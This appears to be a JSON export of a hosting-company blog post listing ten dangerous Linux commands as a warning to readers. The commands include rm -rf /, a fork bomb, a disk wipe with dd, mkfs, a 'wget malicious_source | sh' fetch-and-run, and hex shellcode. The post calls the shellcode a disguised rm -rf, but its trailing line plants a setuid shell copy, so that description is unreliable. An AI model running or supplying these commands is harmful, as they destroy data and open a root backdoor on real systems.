{"id":1044,"date":"2018-06-25T12:22:34","date_gmt":"2018-06-25T06:52:34","guid":{"rendered":"http:\/\/jaipurhosting.com\/blog\/?p=1044"},"modified":"2019-04-27T11:46:29","modified_gmt":"2019-04-27T06:16:29","slug":"10-most-dangerous-commands-should-never-execute-on-linux","status":"publish","type":"post","link":"https:\/\/www.jaipurhosting.com\/blog\/10-most-dangerous-commands-should-never-execute-on-linux\/","title":{"rendered":"10 Most Dangerous Commands \u2013 Should Never Execute on Linux"},"content":{"rendered":"<p><strong>Description<\/strong><\/p>\n<p>Linux command line is productive, useful and interesting but sometimes it may be very much dangerous specially when you are not sure what you are doing.<\/p>\n<p>This article is not intended to make you furious of Linux or Linux command line.<\/p>\n<p>We just want to make you aware of some of the commands which you should think twice before you execute them.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>1. rm -rf Command<\/strong><\/p>\n<p>The <strong>rm -rf<\/strong> command is one of the fastest way to delete a folder and its contents.<\/p>\n<p>But a little typo or ignorance may result into unrecoverable system damage.<\/p>\n<p>The some of options used with rm command are.<\/p>\n<ul>\n<li>rm command in Linux is used to delete files.<\/li>\n<li>rm -r command deletes the folder recursively, even the empty folder.<\/li>\n<li>rm -f command removes \u2018Read only File\u2019 without asking.<\/li>\n<li>rm -rf \/ : Force deletion of everything in root directory.<\/li>\n<li>rm -rf * : Force deletion of everything in current directory\/working directory.<\/li>\n<li>rm -rf . : Force deletion of current folder and sub folders.<\/li>\n<\/ul>\n<p>Hence, be careful when you are executing <strong>rm -rf<\/strong> command.<\/p>\n<p>To overcome accidental delete of file by \u2018rm\u2018 command, create an alias of \u2018rm\u2018 command as \u2018rm -i\u2018 in \u201c.bashrc\u201d file, it will ask you to confirm every deletion.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>2. :(){:|:&amp;};: Command<\/strong><\/p>\n<p>The above is actually a fork bomb.<\/p>\n<p>It operates by defining a function called \u2018<strong>:<\/strong>\u2018, which calls itself twice, once in the foreground and once in the background.<\/p>\n<p>It keeps on executing again and again till the system freezes.<\/p>\n<pre class=\"theme:dark-terminal lang:default decode:true \">:(){:|:&amp;};:<\/pre>\n<p>&nbsp;<\/p>\n<p><strong>3. command &gt; \/dev\/sda<\/strong><\/p>\n<p>The above command writes the output of \u2018command\u2018 on the block \/<strong>dev\/sda<\/strong>.<\/p>\n<p>The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>4. mv folder \/dev\/null<\/strong><\/p>\n<p>The above command will move \u2018<strong>folder<\/strong>\u2018 to <strong>\/dev\/null<\/strong>.<\/p>\n<p>In <strong>Linux \/dev\/<\/strong>null or null device is a special file that discards all the data written to it and reports that write operation succeed.<\/p>\n<pre class=\"theme:dark-terminal lang:default decode:true \">[root@mail ~]# mv \/home\/user\/* \/dev\/null<\/pre>\n<p>&nbsp;<\/p>\n<p><strong>5. wget http:\/\/malicious_source -O- | sh<\/strong><\/p>\n<p>The above command will download a script from a malicious source and then execute it.<\/p>\n<p><strong>Wget<\/strong> command will download the script and sh will execute the downloaded script.<\/p>\n<p>Note: You should be very much aware of the source from where you are downloading packages and scripts.<\/p>\n<p>Only use those scripts\/applications which is downloaded from a trusted source.<\/p>\n<p><strong>6. mkfs.ext3 \/dev\/sda<\/strong><\/p>\n<p>The above command will format the block \u2018<strong>sda<\/strong>\u2019 and you would surely be knowing that after execution of the above command your Block (Hard Disk Drive) would be new, Without any data, leaving your system into unrecoverable stage.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>7. &gt; file<\/strong><\/p>\n<p>The above command is used to <strong>flush the content<\/strong> of file.<\/p>\n<p>If the above command is executed with a typo or ignorance like \u201c&gt; <strong>xt.conf<\/strong>\u201d will write the configuration file or any other system or configuration file.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>8. ^foo^bar<\/strong><\/p>\n<p>This command is used to edit the previous run command without the need of retyping the whole command again.<\/p>\n<p>But this can really be troublesome if you didn\u2019t took the risk of thoroughly checking the change in original command using <strong>^foo^bar<\/strong> command.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>9. dd if=\/dev\/random of=\/dev\/sda<\/strong><\/p>\n<p>The above command will wipe out the block sda and write random junk data to the block.<\/p>\n<p>Of-course! Your system would be left at inconsistent and unrecoverable stage.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>10. Hidden the Command<\/strong><\/p>\n<p>The below command is nothing but the first command above (rm -rf).<\/p>\n<p>Here the codes are hidden in hex so that an ignorant user may be fooled.<\/p>\n<p>Running the below code in your terminal will wipe your root partition.<\/p>\n<p>This command here shows that the threat may be hidden and not normally detectable sometimes.<\/p>\n<p>You must be aware of what you are doing and what would be the result.<\/p>\n<p>Don\u2019t compile\/run codes from an unknown source.<\/p>\n<pre class=\"theme:dark-terminal lang:default decode:true \">char esp[] __attribute__ ((section(\u201c.text\u201d))) \/* e.s.p\nrelease *\/\n= \u201c\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68\u2033\n\u201c\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99\u2033\n\u201c\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7\u2033\n\u201c\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56\u2033\n\u201c\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31\u2033\n\u201c\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69\u2033\n\u201c\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00\u2033\n\u201ccp -p \/bin\/sh \/tmp\/.beyond; chmod 4755\n\/tmp\/.beyond;\u201d;<\/pre>\n<p>Note: Don\u2019t execute any of the above command in your Linux terminal or shell<\/p>\n<p>We hope you\u2019ve found this useful!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Description Linux command line is productive, useful and interesting but sometimes it may be very much dangerous specially when you are not sure what you are doing. This article is not intended to make you furious of Linux or Linux command line. We just want to make you aware of some of the commands which [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1297,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-1044","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-linux"],"_links":{"self":[{"href":"https:\/\/www.jaipurhosting.com\/blog\/wp-json\/wp\/v2\/posts\/1044","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.jaipurhosting.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.jaipurhosting.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.jaipurhosting.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jaipurhosting.com\/blog\/wp-json\/wp\/v2\/comments?post=1044"}],"version-history":[{"count":1,"href":"https:\/\/www.jaipurhosting.com\/blog\/wp-json\/wp\/v2\/posts\/1044\/revisions"}],"predecessor-version":[{"id":1046,"href":"https:\/\/www.jaipurhosting.com\/blog\/wp-json\/wp\/v2\/posts\/1044\/revisions\/1046"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.jaipurhosting.com\/blog\/wp-json\/wp\/v2\/media\/1297"}],"wp:attachment":[{"href":"https:\/\/www.jaipurhosting.com\/blog\/wp-json\/wp\/v2\/media?parent=1044"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.jaipurhosting.com\/blog\/wp-json\/wp\/v2\/categories?post=1044"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.jaipurhosting.com\/blog\/wp-json\/wp\/v2\/tags?post=1044"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}